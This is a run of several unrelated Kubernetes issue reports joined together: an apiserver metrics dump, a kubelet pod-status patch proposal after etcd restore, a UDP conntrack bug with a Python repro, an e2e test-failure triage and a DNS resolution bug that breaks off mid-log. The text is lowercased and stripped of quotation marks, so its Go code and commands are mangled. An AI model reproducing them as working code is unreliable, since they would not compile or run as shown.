,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    autoscaling.horizontalpodautoscaler\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    autoscaling.horizontalpodautoscaler\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    autoscaling.horizontalpodautoscaler\ } 918218\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    autoscaling.horizontalpodautoscaler\ } 6\r etcd_request_latencies_summary{operation=\ list\ ,type=\    batch.cronjob\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    batch.cronjob\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    batch.cronjob\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    batch.cronjob\ } 1.09446e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    batch.cronjob\ } 3\r etcd_request_latencies_summary{operation=\ list\ ,type=\    batch.job\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    batch.job\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    batch.job\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    batch.job\ } 2.182617e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    batch.job\ } 12\r etcd_request_latencies_summary{operation=\ list\ ,type=\    certificates.certificatesigningrequest\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    certificates.certificatesigningrequest\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    certificates.certificatesigningrequest\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    certificates.certificatesigningrequest\ } 771938\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    certificates.certificatesigningrequest\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.daemonset\ ,quantile=\ 0.5\ } 2100\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.daemonset\ ,quantile=\ 0.9\ } 11647\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.daemonset\ ,quantile=\ 0.99\ } 26404\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.daemonset\ } 5.8276395e+07\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.daemonset\ } 3649\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.deployment\ ,quantile=\ 0.5\ } 4906\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.deployment\ ,quantile=\ 0.9\ } 202694\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.deployment\ ,quantile=\ 0.99\ } 202694\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.deployment\ } 9.4701252e+07\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.deployment\ } 1010\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.ingress\ ,quantile=\ 0.5\ } 3230\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.ingress\ ,quantile=\ 0.9\ } 107940\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.ingress\ ,quantile=\ 0.99\ } 585123\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.ingress\ } 2.806497591e+09\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.ingress\ } 89541\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.networkpolicy\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.networkpolicy\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.networkpolicy\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.networkpolicy\ } 822594\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.networkpolicy\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.podsecuritypolicy\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.podsecuritypolicy\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.podsecuritypolicy\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.podsecuritypolicy\ } 912447\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.podsecuritypolicy\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.replicaset\ ,quantile=\ 0.5\ } 24306\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.replicaset\ ,quantile=\ 0.9\ } 181020\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.replicaset\ ,quantile=\ 0.99\ } 203649\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.replicaset\ } 2.72046309e+08\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.replicaset\ } 3052\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.thirdpartyresource\ ,quantile=\ 0.5\ } 2140\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.thirdpartyresource\ ,quantile=\ 0.9\ } 103737\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.thirdpartyresource\ ,quantile=\ 0.99\ } 278419\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.thirdpartyresource\ } 1.52579816e+08\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.thirdpartyresource\ } 6888\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.thirdpartyresourcedata\ ,quantile=\ 0.5\ } 1779\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.thirdpartyresourcedata\ ,quantile=\ 0.9\ } 14197\r etcd_request_latencies_summary{operation=\ list\ ,type=\    extensions.thirdpartyresourcedata\ ,quantile=\ 0.99\ } 14197\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    extensions.thirdpartyresourcedata\ } 8.772554e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    extensions.thirdpartyresourcedata\ } 567\r etcd_request_latencies_summary{operation=\ list\ ,type=\    policy.poddisruptionbudget\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    policy.poddisruptionbudget\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    policy.poddisruptionbudget\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    policy.poddisruptionbudget\ } 3.906033e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    policy.poddisruptionbudget\ } 100\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.clusterrole\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.clusterrole\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.clusterrole\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    rbac.clusterrole\ } 1.93405e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    rbac.clusterrole\ } 3\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.clusterrolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.clusterrolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.clusterrolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    rbac.clusterrolebinding\ } 2.407216e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    rbac.clusterrolebinding\ } 3\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.role\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.role\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.role\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    rbac.role\ } 2.038578e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    rbac.role\ } 2\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.rolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.rolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    rbac.rolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    rbac.rolebinding\ } 1.931307e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    rbac.rolebinding\ } 2\r etcd_request_latencies_summary{operation=\ list\ ,type=\    settings.podpreset\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    settings.podpreset\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    settings.podpreset\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    settings.podpreset\ } 1.199205e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    settings.podpreset\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    storage.storageclass\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    storage.storageclass\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    storage.storageclass\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    storage.storageclass\ } 2.398306e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    storage.storageclass\ } 2\r   help get_token_count counter of total token   requests to the alternate token source\r   type get_token_count counter\r get_token_count 0\r   help get_token_fail_count counter of failed token   requests to the alternate token source\r   type get_token_fail_count counter\r get_token_fail_count 0\r   help go_gc_duration_seconds a summary of the gc invocation durations.\r   type go_gc_duration_seconds summary\r go_gc_duration_seconds{quantile=\ 0\ } 0.001287514\r go_gc_duration_seconds{quantile=\ 0.25\ } 0.0018677470000000001\r go_gc_duration_seconds{quantile=\ 0.5\ } 0.002117667\r go_gc_duration_seconds{quantile=\ 0.75\ } 0.003951512\r go_gc_duration_seconds{quantile=\ 1\ } 0.09878027800000001\r go_gc_duration_seconds_sum 32.610498067\r go_gc_duration_seconds_count 2615\r   help go_goroutines number of goroutines that currently exist.\r   type go_goroutines gauge\r go_goroutines 885\r   help go_memstats_alloc_bytes number of bytes allocated and still in use.\r   type go_memstats_alloc_bytes gauge\r go_memstats_alloc_bytes 2.63902024e+08\r   help go_memstats_alloc_bytes_total total number of bytes allocated, even if freed.\r   type go_memstats_alloc_bytes_total counter\r go_memstats_alloc_bytes_total 3.41081993392e+11\r   help go_memstats_buck_hash_sys_bytes number of bytes used by the profiling bucket hash table.\r   type go_memstats_buck_hash_sys_bytes gauge\r go_memstats_buck_hash_sys_bytes 5.945028e+06\r   help go_memstats_frees_total total number of frees.\r   type go_memstats_frees_total counter\r go_memstats_frees_total 2.651573406e+09\r   help go_memstats_gc_sys_bytes number of bytes used for garbage collection system metadata.\r   type go_memstats_gc_sys_bytes gauge\r go_memstats_gc_sys_bytes 1.271808e+07\r   help go_memstats_heap_alloc_bytes number of heap bytes allocated and still in use.\r   type go_memstats_heap_alloc_bytes gauge\r go_memstats_heap_alloc_bytes 2.63902024e+08\r   help go_memstats_heap_idle_bytes number of heap bytes waiting to be used.\r   type go_memstats_heap_idle_bytes gauge\r go_memstats_heap_idle_bytes 4.3302912e+07\r   help go_memstats_heap_inuse_bytes number of heap bytes that are in use.\r   type go_memstats_heap_inuse_bytes gauge\r go_memstats_heap_inuse_bytes 3.0203904e+08\r   help go_memstats_heap_objects number of allocated objects.\r   type go_memstats_heap_objects gauge\r go_memstats_heap_objects 1.937254e+06\r   help go_memstats_heap_released_bytes_total total number of heap bytes released to os.\r   type go_memstats_heap_released_bytes_total counter\r go_memstats_heap_released_bytes_total 3.56352e+06\r   help go_memstats_heap_sys_bytes number of heap bytes obtained from system.\r   type go_memstats_heap_sys_bytes gauge\r go_memstats_heap_sys_bytes 3.45341952e+08\r   help go_memstats_last_gc_time_seconds number of seconds since 1970 of last garbage collection.\r   type go_memstats_last_gc_time_seconds gauge\r go_memstats_last_gc_time_seconds 1.4919057147025465e+19\r   help go_memstats_lookups_total total number of pointer lookups.\r   type go_memstats_lookups_total counter\r go_memstats_lookups_total 314949\r   help go_memstats_mallocs_total total number of mallocs.\r   type go_memstats_mallocs_total counter\r go_memstats_mallocs_total 2.65351066e+09\r   help go_memstats_mcache_inuse_bytes number of bytes in use by mcache structures.\r   type go_memstats_mcache_inuse_bytes gauge\r go_memstats_mcache_inuse_bytes 1200\r   help go_memstats_mcache_sys_bytes number of bytes used for mcache structures obtained from system.\r   type go_memstats_mcache_sys_bytes gauge\r go_memstats_mcache_sys_bytes 16384\r   help go_memstats_mspan_inuse_bytes number of bytes in use by mspan structures.\r   type go_memstats_mspan_inuse_bytes gauge\r go_memstats_mspan_inuse_bytes 5.084e+06\r   help go_memstats_mspan_sys_bytes number of bytes used for mspan structures obtained from system.\r   type go_memstats_mspan_sys_bytes gauge\r go_memstats_mspan_sys_bytes 5.3248e+06\r   help go_memstats_next_gc_bytes number of heap bytes when next garbage collection will take place.\r   type go_memstats_next_gc_bytes gauge\r go_memstats_next_gc_bytes 2.90363121e+08\r   help go_memstats_other_sys_bytes number of bytes used for other system allocations.\r   type go_memstats_other_sys_bytes gauge\r go_memstats_other_sys_bytes 1.4693e+06\r   help go_memstats_stack_inuse_bytes number of bytes in use by the stack allocator.\r   type go_memstats_stack_inuse_bytes gauge\r go_memstats_stack_inuse_bytes 5.275648e+06\r   help go_memstats_stack_sys_bytes number of bytes obtained from system for stack allocator.\r   type go_memstats_stack_sys_bytes gauge\r go_memstats_stack_sys_bytes 5.275648e+06\r   help go_memstats_sys_bytes number of bytes obtained by system. sum of all system allocations.\r   type go_memstats_sys_bytes gauge\r go_memstats_sys_bytes 3.76091192e+08\r   help http_request_duration_microseconds the http request latencies in microseconds.\r   type http_request_duration_microseconds summary\r http_request_duration_microseconds{handler=\ prometheus\ ,quantile=\ 0.5\ } 170426.19\r http_request_duration_microseconds{handler=\ prometheus\ ,quantile=\ 0.9\ } 292473.122\r http_request_duration_microseconds{handler=\ prometheus\ ,quantile=\ 0.99\ } 1.001241986e+06\r http_request_duration_microseconds_sum{handler=\ prometheus\ } 1.1241217677620003e+09\r http_request_duration_microseconds_count{handler=\ prometheus\ } 4681\r   help http_request_size_bytes the http request sizes in bytes.\r   type http_request_size_bytes summary\r http_request_size_bytes{handler=\ prometheus\ ,quantile=\ 0.5\ } 111\r http_request_size_bytes{handler=\ prometheus\ ,quantile=\ 0.9\ } 111\r http_request_size_bytes{handler=\ prometheus\ ,quantile=\ 0.99\ } 111\r http_request_size_bytes_sum{handler=\ prometheus\ } 520383\r http_request_size_bytes_count{handler=\ prometheus\ } 4681\r   help http_requests_total total number of http requests made.\r   type http_requests_total counter\r http_requests_total{code=\ 200\ ,handler=\ prometheus\ ,method=\ get\ } 4681\r   help http_response_size_bytes the http response sizes in bytes.\r   type http_response_size_bytes summary\r http_response_size_bytes{handler=\ prometheus\ ,quantile=\ 0.5\ } 20300\r http_response_size_bytes{handler=\ prometheus\ ,quantile=\ 0.9\ } 20401\r http_response_size_bytes{handler=\ prometheus\ ,quantile=\ 0.99\ } 20425\r http_response_size_bytes_sum{handler=\ prometheus\ } 8.8227052e+07\r http_response_size_bytes_count{handler=\ prometheus\ } 4681\r   help kubernetes_build_info a metric with a constant '1' value labeled by major, minor, git version, git commit, git tree state, build date, go version, and compiler from which kubernetes was built, and platform on which it is running.\r   type kubernetes_build_info gauge\r kubernetes_build_info{builddate=\ 2017-04-04t00:32:53z\ ,compiler=\ gc\ ,gitcommit=\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ ,gittreestate=\ clean\ ,gitversion=\ v1.6.1+coreos.0\ ,goversion=\ go1.7.5\ ,major=\ 1\ ,minor=\ 6\ ,platform=\ linux/amd64\ } 1\r   help process_cpu_seconds_total total user and system cpu time spent in seconds.\r   type process_cpu_seconds_total counter\r process_cpu_seconds_total 5790.75\r   help process_max_fds maximum number of open file descriptors.\r   type process_max_fds gauge\r process_max_fds 1.048576e+06\r   help process_open_fds number of open file descriptors.\r   type process_open_fds gauge\r process_open_fds 242\r   help process_resident_memory_bytes resident memory size in bytes.\r   type process_resident_memory_bytes gauge\r process_resident_memory_bytes 4.41614336e+08\r   help process_start_time_seconds start time of the process since unix epoch in seconds.\r   type process_start_time_seconds gauge\r process_start_time_seconds 1.49183638879e+09\r   help process_virtual_memory_bytes virtual memory size in bytes.\r   type process_virtual_memory_bytes gauge\r process_virtual_memory_bytes 7.55318784e+08\r   help ssh_tunnel_open_count counter of ssh tunnel total open attempts\r   type ssh_tunnel_open_count counter\r ssh_tunnel_open_count 0\r   help ssh_tunnel_open_fail_count counter of ssh tunnel failed open attempts\r   type ssh_tunnel_open_fail_count counter\r ssh_tunnel_open_fail_count 0\r </details>\r \r

mirror pods should not reference secrets, configmaps, service accounts, or pvc objects.\r \r the podpreset admission plugin should avoid adding references to these objects to a pod annotated as a mirror pod.

at https://github.com/kubernetes/kubernetes/blob/80a53d52fd32c49a5facb34453b6d1cd1d868434/pkg/apis/admissionregistration/validation/validation.go l48-l48 at least 2 dots are required in the api group strings of an  initializersconfiguration . is this intentional? it stops you from installing initializer controllers for groups like  batch  or  apps .

hi，i’m back up and recovery the etcd data in the cluster, causing the podip to be inconsistent.\r \r do the following  the same namespaces :\r 1. create pod1 -> podname = name1, uid = uid1, podip = podip1, hostip = hostip1\r 2. back up the etcd data -> etcd-data-1\r 3. reboot pod1 -> podname = name1, uid = uid2, podip = podip2, hostip = hostip1\r 4. recovery the etcd data <- etcd-data-1\r \r now:\r execute \ kubectl get pod name1 -owide\ , show  \ podip = podip1\ \r execute \ kubectl exec -it name1 -c container1 -- ifconfig -a\  andshows \ ip = podip2\ \r \r in other words, the pod1 status in etcd  is inconsistent with the  runtime's pod1 , but the kubelet not to refresh the status of the runtime's pod1 .\r \r i found the following code fragment in the status_manager.go:\r    \r // syncpod syncs the given status with the api server. the caller must not hold the lock.\r func  m  manager  syncpod uid types.uid, status versionedpodstatus  {\r         if !m.needsupdate uid, status  {\r \t\tglog.v 1 .infof \ status for pod %q is up-to-date; skipping\ , uid \r \t\treturn\r \t}\r \r \t// todo: make me easier to express from client code\r \tpod, err := m.kubeclient.core  .pods status.podnamespace .get status.podname \r \tif errors.isnotfound err  {\r \t\tglog.v 3 .infof \ pod %q  %s  does not exist on the server\ , status.podname, uid \r \t\t// if the pod is deleted the status will be cleared in\r \t\t// removeorphanedstatuses, so we just ignore the update here.\r \t\treturn\r \t}\r \tif err == nil {\r \t\ttranslateduid := m.podmanager.translatepoduid pod.uid \r \t\tif len translateduid  > 0 && translateduid != uid {\r \t\t\tglog.v 2 .infof \ pod %q was deleted and then recreated, skipping status update; old uid %q, new uid %q\ , format.pod pod , uid, translateduid \r \t\t\tm.deletepodstatus uid \r \t\t\treturn\r \t\t}\r                 pod, err = m.updatepodwithretries status.podnamespace, pod, func podtoupdate  api.pod    api.pod, error  {\r \t\t\tif podtoupdate.enable != nil && ! podtoupdate.enable {\r \t\t\t\tstatus.status = api.podstatus{\r \t\t\t\t\tphase:   api.podpending,\r \t\t\t\t\treason:  \ disabled\ ,\r \t\t\t\t\tmessage: \ pod disabled\ }\r \t\t\t}\r \t\t\tpodtoupdate.status = status.status\r \t\t\treturn m.kubeclient.core  .pods status.podnamespace .updatestatus podtoupdate \r \t\t} \r    \r \r means that if podname and namespaces are the same but uid not same , the pod status is not updated to etcd。\r  i try to make the following changes：\r    \r // syncpod syncs the given status with the api server. the caller must not hold the lock.\r func  m  manager  syncpod uid types.uid, status versionedpodstatus  {\r         if !m.needsupdate uid, status  {\r \t\tglog.v 1 .infof \ status for pod %q is up-to-date; skipping\ , uid \r \t\treturn\r \t}\r \r \t// todo: make me easier to express from client code\r \tpod, err := m.kubeclient.core  .pods status.podnamespace .get status.podname \r \tif errors.isnotfound err  {\r \t\tglog.v 3 .infof \ pod %q  %s  does not exist on the server\ , status.podname, uid \r \t\t// if the pod is deleted the status will be cleared in\r \t\t// removeorphanedstatuses, so we just ignore the update here.\r \t\treturn\r \t}\r \tif err == nil {\r \t\ttranslateduid := m.podmanager.translatepoduid pod.uid \r \t\tif len translateduid  > 0 && translateduid != uid {\r \t\t\tglog.v 2 .infof \ pod %q was deleted and then recreated, skipping status update; old uid %q, new uid %q\ , format.pod pod , uid, translateduid \r \t\t\t//m.deletepodstatus uid \r \t\t\t//return\r                         glog.v 2 .info \             test            force update the pod status            \  \r \t\t\tglog.v 2 .infof \ status for pod %q ,runtimestatus: %+v\ , format.pod pod , status \r \t\t}\r                 pod, err = m.updatepodwithretries status.podnamespace, pod, func podtoupdate  api.pod    api.pod, error  {\r \t\t\tif podtoupdate.enable != nil && ! podtoupdate.enable {\r \t\t\t\tstatus.status = api.podstatus{\r \t\t\t\t\tphase:   api.podpending,\r \t\t\t\t\treason:  \ disabled\ ,\r \t\t\t\t\tmessage: \ pod disabled\ }\r \t\t\t}\r \t\t\tpodtoupdate.status = status.status\r \t\t\treturn m.kubeclient.core  .pods status.podnamespace .updatestatus podtoupdate \r \t\t} \r    \r the results show that podip is updated to etcd and is consistent.\r \r so, i would like to ask whether or not kubelet to support pod  status refresh in this case？\r \r \r

summary\r \r for the udp protocol, we currently flush stale entries when the set of endpoints changes  update/remove . however, we do not flush the entries when the endpoint set changes from empty to non-empty.\r \r when the endpoint set is empty, there is a conntrack entry that blackholes the traffic. if the conntrack entry is refreshed by new udp activity, this entry will persist until the next conntrack flush. note: the udp socket has to be reused.\r \r   how to repro:\r \r running in a pod to a service with clusterip 10.15.240.10 with one pod  10.12.0.11  as the backend :\r    python\r import socket, time\r \r sock = socket.socket socket.af_inet, socket.sock_dgram \r sock.bind  '0.0.0.0', 0  \r print sock.getsockname  \r while true:\r   sock.sendto 'abc',  '10.15.240.10', 53  \r   time.sleep 1.0 \r    \r \r you will have conntrack entry:\r    \r udp      17 29 src=10.12.0.14 dst=10.15.240.10 sport=43145 dport=53  unreplied  src=10.12.0.11 dst=10.12.0.14 sport=53 dport=43145 mark=0 use=1\r    \r change service to have zero endpoints by killing the pod, we get the following conntrack entry:\r    \r udp      17 29 src=10.12.0.14 dst=10.15.240.10 sport=43145 dport=53  unreplied  src=10.15.240.10 dst=10.12.0.14 sport=53 dport=43145 mark=0 use=1\r    \r after the pod restarts and is added back to the endpoints, the conntrack entry will never go away   if   there is constant udp activity on the existing socket.\r \r   references\r   nginx dns resolution breaks: https://github.com/kubernetes/kubernetes/issues/26309 issuecomment-258828324

failure cluster  b0ac8e3395e1a4ad2501  https://go.k8s.io/triage b0ac8e3395e1a4ad2501        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1144 expected error:     < errors.errorstring | 0xc4216f1bc0>: {         s: \ error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config run e2e-test-nginx-deployment --image=gcr.io/google_containers/nginx-slim:0.7 --generator=deployment/v1beta1 --namespace=e2e-tests-kubectl-gxfv0      <nil>      <nil> <nil> <nil> <nil> <nil> false  0xc42002e4d8 0xc42002e4f0 0xc42002e508   0xc42002e4d8 0xc42002e4f0 0xc42002e508   0xc42002e4e8 0xc42002e500   0x976100 0x976100  <nil> <nil>}:\ command stdout:\ \ stderr:\ \ error:\ fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory\ \ ,     }     error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config run e2e-test-nginx-deployment --image=gcr.io/google_containers/nginx-slim:0.7 --generator=deployment/v1beta1 --namespace=e2e-tests-kubectl-gxfv0      <nil>      <nil> <nil> <nil> <nil> <nil> false  0xc42002e4d8 0xc42002e4f0 0xc42002e508   0xc42002e4d8 0xc42002e4f0 0xc42002e508   0xc42002e4e8 0xc42002e500   0x976100 0x976100  <nil> <nil>}:     command stdout:          stderr:          error:     fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2087           failure cluster statistics: 7 tests failed,    28 jobs failed,    381 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  kubectl run deployment should create a deployment from an image  conformance  | 28 | |  k8s.io  kubectl client  k8s.io  kubectl run job should create a job from an image when restart is onfailure  conformance  | 28 | |  k8s.io  kubectl client  k8s.io  kubectl replace should update a single-container pod's image  conformance  | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew/427  | | ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew | 24 |  11 jul 2017 16:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew/761  | | ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew | 24 |  11 jul 2017 16:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew/433  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | janetkuo |  k8s.io  kubectl client  k8s.io  kubectl run deployment should create a deployment from an image  conformance ;  k8s.io  kubectl client  k8s.io  kubectl rolling-update should support rolling-update to same image  conformance ;  k8s.io  kubectl client  k8s.io  kubectl run pod should create a pod from an image when restart is never  conformance  | | soltysh |  k8s.io  kubectl client  k8s.io  kubectl run job should create a job from an image when restart is onfailure  conformance  | | rrati |  k8s.io  kubectl client  k8s.io  kubectl replace should update a single-container pod's image  conformance  | | sig/cli |  k8s.io  kubectl client  k8s.io  kubectl run deployment should create a deployment from an image  conformance ;  k8s.io  kubectl client  k8s.io  kubectl run job should create a job from an image when restart is onfailure  conformance ;  k8s.io  kubectl client  k8s.io  kubectl replace should update a single-container pod's image  conformance  |  </details><br>   current status  https://go.k8s.io/triage b0ac8e3395e1a4ad2501

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  : kubernetes is unable to resolve external hostnames.\r \r   what you expected to happen  : kubernetes fails to resolved external names and appends the search domains for some reason.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r from within my container, i do an nslookup:\r \r  nslookup www.telenet.be \r \r this returns an ip address that is associated with a wildcard cname record, instead of the correct ip address.\r \r this returns an incorrect ip adres. i enabled query logging in the dnsmasq container of kubedns, and this what i get back:\r \r    \r i0718 11:44:24.488291       1 nanny.go:108  dnsmasq 12 : query a  www.telenet.be.kring-tst-02.svc.cluster.local from 10.42.0.8\r i0718 11:44:24.488954       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.kring-tst-02.svc.cluster.local to 127.0.0.1\r i0718 11:44:24.488978       1 nanny.go:108  dnsmasq 12 : query aaaa  www.telenet.be.kring-tst-02.svc.cluster.local from 10.42.0.8\r i0718 11:44:24.488989       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.kring-tst-02.svc.cluster.local to 127.0.0.1\r i0718 11:44:24.489303       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.kring-tst-02.svc.cluster.local is nxdomain\r i0718 11:44:24.489328       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.kring-tst-02.svc.cluster.local is nxdomain\r i0718 11:44:24.489562       1 nanny.go:108  dnsmasq 12 : query a  www.telenet.be.svc.cluster.local from 10.42.0.8\r i0718 11:44:24.490145       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.svc.cluster.local to 127.0.0.1\r i0718 11:44:24.490173       1 nanny.go:108  dnsmasq 12 : query aaaa  www.telenet.be.svc.cluster.local from 10.42.0.8\r i0718 11:44:24.490184       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.svc.cluster.local to 127.0.0.1\r i0718 11:44:24.490458       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.svc.cluster.local is nxdomain\r i0718 11:44:24.490482       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.svc.cluster.local is nxdomain\r i0718 11:44:24.491173       1 nanny.go:108  dnsmasq 12 : query a  www.telenet.be.cluster.local from 10.42.0.8\r i0718 11:44:24.491193       1 nanny.go:108  dnsmasq 12 : 